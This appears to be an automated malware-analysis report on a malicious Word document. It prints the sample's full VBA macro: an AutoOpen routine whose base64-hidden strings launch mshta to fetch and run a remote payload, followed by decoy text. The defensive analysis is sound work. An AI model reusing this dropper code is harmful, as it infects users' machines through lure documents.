Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 66a0c294ee8f3507…

MALICIOUS

Office (OOXML)

39.8 KB Created: 2018-03-19 07:58:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: e02024f38dfb6290ce0d693539a285a9 SHA-1: d13fc918433c705b49db74c91f56ae6c0cb5cf8d SHA-256: 66a0c294ee8f3507d723a376065798631906128ce79bd6dfd8f025eda6b75e51
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The OOXML document contains VBA macros, including an AutoOpen macro that uses CreateObject and Shell execution. The presence of an AutoOpen macro and the 'SE_ENABLE_LURE' heuristic indicate the document is designed to trick the user into enabling macros to download and execute a secondary payload. The VBA code includes functions for HexToText and Base64ToHex conversion, suggesting obfuscation of malicious content.

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set fso = CreateObject("Scripting.FileSystemObject")
     Set objChars = CreateObject("Scripting.Dictionary")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    '
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7657 bytes
SHA-256: 4bae33517525e5d0ce68fa8e82b3086bdb93fd0d97379aea8b48592a3e07b419
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function HexToText(strHex)
    ' Function to convert a string of hexadecimal bytes into a text string.
    Dim strChar, k

    HexToText = ""
    For k = 1 To Len(strHex) Step 2
        strChar = Mid(strHex, k, 2)
        HexToText = HexToText & Chr("&H" & strChar)
    Next
End Function

Function Base64ToHex(strValue, objChars)
    ' Function to convert a base64 encoded string into a hex string.
    Dim lngValue, lngTemp, lngChar, intLen, k, j, intTerm, strHex

    intLen = Len(strValue)

    ' Check padding.
    intTerm = 0
    If (Right(strValue, 1) = "=") Then
        intTerm = 1
    End If
    If (Right(strValue, 2) = "==") Then
        intTerm = 2
    End If

    ' Parse into groups of 4 6-bit characters.
    j = 0
    lngValue = 0
    Base64ToHex = ""
    For k = 1 To intLen
        j = j + 1
        ' Calculate 24-bit integer.
        lngValue = (lngValue * 64) + objChars(Mid(strValue, k, 1))
        If (j = 4) Then
            ' Convert 24-bit integer into 3 8-bit bytes.
            lngTemp = Fix(lngValue / 256)
            lngChar = lngValue - (256 * lngTemp)
            strHex = Right("00" & Hex(lngChar), 2)
            lngValue = lngTemp

            lngTemp = Fix(lngValue / 256)
            lngChar = lngValue - (256 * lngTemp)
            strHex = Right("00" & Hex(lngChar), 2) & strHex
            lngValue = lngTemp

            lngTemp = Fix(lngValue / 256)
            lngChar = lngValue - (256 * lngTemp)
            strHex = Right("00" & Hex(lngChar), 2) & strHex

            Base64ToHex = Base64ToHex & strHex
            j = 0
            lngValue = 0
        End If
    Next
    ' Account for padding.
    Base64ToHex = Left(Base64ToHex, Len(Base64ToHex) - (intTerm * 2))

End Function

Sub AutoOpen()
'
' AutoOpen Macro

 Dim Download As String
 Dim encShellString As String
 Dim decShellString As String
 
 Dim RetVal As Long
 Dim sSourceUrl As String
 Dim sLocalFile As String
 
 
 encShellString = "c2hlbGwuYXBwbGljYXRpb24="
 
 Set fso = CreateObject("Scripting.FileSystemObject")
 Set objChars = CreateObject("Scripting.Dictionary")
 
 objChars.CompareMode = vbBinaryCompare
 objChars.Add "A", 0
 objChars.Add "B", 1
 objChars.Add "C", 2
 objChars.Add "D", 3
 objChars.Add "E", 4
 objChars.Add "F", 5
 objChars.Add "G", 6
 objChars.Add "H", 7
 objChars.Add "I", 8
 objChars.Add "J", 9
 objChars.Add "K", 10
 objChars.Add "L", 11
 objChars.Add "M", 12
 objChars.Add "N", 13
 objChars.Add "O", 14
 objChars.Add "P", 15
 objChars.Add "Q", 16
 objChars.Add "R", 17
 objChars.Add "S", 18
 objChars.Add "T", 19
 objChars.Add "U", 20
 objChars.Add "V", 21
 objChars.Add "W", 22
 objChars.Add "X", 23
 objChars.Add "Y", 24
 objChars.Add "Z", 25
 objChars.Add "a", 26
 objChars.Add "b", 27
 objChars.Add "c", 28
 objChars.Add "d", 29
 objChars.Add "e", 30
 objChars.Add "f", 31
 objChars.Add "g", 32
 objChars.Add "h", 33
 objChars.Add "i", 34
 objChars.Add "j", 35
 objChars.Add "k", 36
 objChars.Add "l", 37
 objChars.Add "m", 38
 objChars.Add "n", 39
 objChars.Add "o", 40
 objChars.Add "p", 41
 objChars.Add "q", 42
 objChars.Add "r", 43
 objChars.Add "s", 44
 objChars.Add "t", 45
 objChars.Add "u", 46
 objChars.Add "v", 47
 objChars.Add "w", 48
 objChars.Add "x", 49
 objChars.Add "y", 50
 objChars.Add "z", 51
 objChars.Add "0", 52
 objChars.Add "1", 53
 objChars.Add "2", 54
 objChars.Add "3", 55
 objChars.Add "4", 56
 objChars.Add "5", 57
 objChars.Add "6", 58
 objChars.Add "7", 59
 objChars.Add "8", 60
 objChars.Add "9", 61
 objChars.Add "+", 62
 objChars.Add "/", 63
    
 decShellString = HexToText(Base64ToHex(encShellString, objChars))
' MsgBox ("Dec String is: " & decShellString)
 
 wshellstring = HexToText(Base64ToHex("V1NjcmlwdC5TaGVsbA==", objChars))
 Set WShell = CreateObject(wshellstring)
 strHomeFolder = WShell.ExpandEnvironmentStrings("%APPDATA%")
 
 indexPath = strHomeFolder & HexToText(Base64ToHex("XE1pY3Jvc29mdFxtaWIuZGF0", objChars))
 
' MsgBox (indexPath)
 Set stream = fso.CreateTextFile(indexPath, True)
 stream.Write "1111:rom*E8FEF0CDF6C1EBBA90794B2B"
 
 Set oShell = CreateObject(decShellString)
 oShell.ShellExecute HexToText(Base64ToHex("Y21kLmV4ZQ==", objChars)), HexToText(Base64ToHex("L2Mgc3RhcnQ=", objChars)) & " " & HexToText(Base64ToHex("bXNodGE=", objChars)) & " " & HexToText(Base64ToHex("aHR0cDovLw==", objChars)) & HexToText(Base64ToHex("a21icjEubml0ZXNicjEub3Jn", objChars)) & HexToText(Base64ToHex("L1VzZXJGaWxlcy9GaWxlL2ltYWdlL2hvbWUuaHRtbA==", objChars)), "", HexToText(Base64ToHex("b3Blbg==", objChars)), 0
 WordShow
 'L1VzZXJGaWxlcy9GaWxlL2ltYWdlL2hvbWUuaHRtbA==
End Sub
Sub WordShow()
 Word.ActiveDocument.Range.Select
 Selection.WholeStory
 Selection.Delete Unit:=wdCharacter, Count:=(101 - 100)
 
 Word.ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
 Word.ActiveDocument.Background.Fill.ForeColor.RGB = RGB(255, 255, 255)
 Word.ActiveDocument.Background.Fill.Transparency = 0#
 
 Dim shadows As Word.Document
 Set shadows = ThisDocument
 shadows.Range.InsertParagraphAfter
 
 shadows.Range.InsertAfter "Peru and Denmark face off in the third match, and this time it doesn't seem as one sided. Four people go for a Peru victory, three for Denmark and three for the draw." + vbLf
 shadows.Range.InsertAfter "Last but not least, we get to see Croatia and Nigeria for the first time. Our Nigeria expert, Colin, reckons there will be plenty of goals and a 3-2 win for his side -- the only person to back the Super Eagles. " + vbLf
 shadows.Range.InsertAfter "Check out how our pundits got on with their predictions for following games and remember to join the pundits' league in Match Predictor." + vbLf
 shadows.Range.InsertAfter "We've got our top talent on hand from England, the United States, Mexico, Brazil, Argentina, Colombia, Australia and Africa -- many of whom will be based out in Russia for the tournament -- to analyze each and every one of the 64 matches." + vbLf
 shadows.Range.InsertAfter "We'll score our experts just as we do in the Match Predictor -- 10 points for correct result, with a bonus 20 points for getting the score line right too." + vbLf
 ' shadows.Range.InsertAfter "I miss u." + vbLf
 ' shadows.Range.InsertAfter "This aircraft seems to have conveyed a North Korean advance team including diplomats and security personnel." + vbLf
 ' shadows.Range.InsertAfter "The 747-400, which just landed in Singapore, was apparently used to fly Kim and his personal aides to the summit." + vbLf
 ' shadows.Range.InsertAfter "This would also be consistent with our previous reporting that North Korea had settled on such a plan." + vbLf
 ' shadows.Range.InsertAfter "The Jumbo Jet in question is quite special. B-2447 is used by the top rungs of the Chinese government, predominantly President Xi Jinping and his entourage, when traveling abroad. " + vbLf
 ' shadows.Range.InsertAfter "It is capable of being specially outfitted with a VIP interior and has special interfaces for secure satellite communications among other modifications." + vbLf
 ' shadows.Range.InsertAfter "With this in mind, it wasn't surprising seeing it being used as 'Kim Force One' for this special mission." + vbLf
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: c9fc9935c64c7e5a55e51c58336db6c539f4e380f707296505acef565f0056ae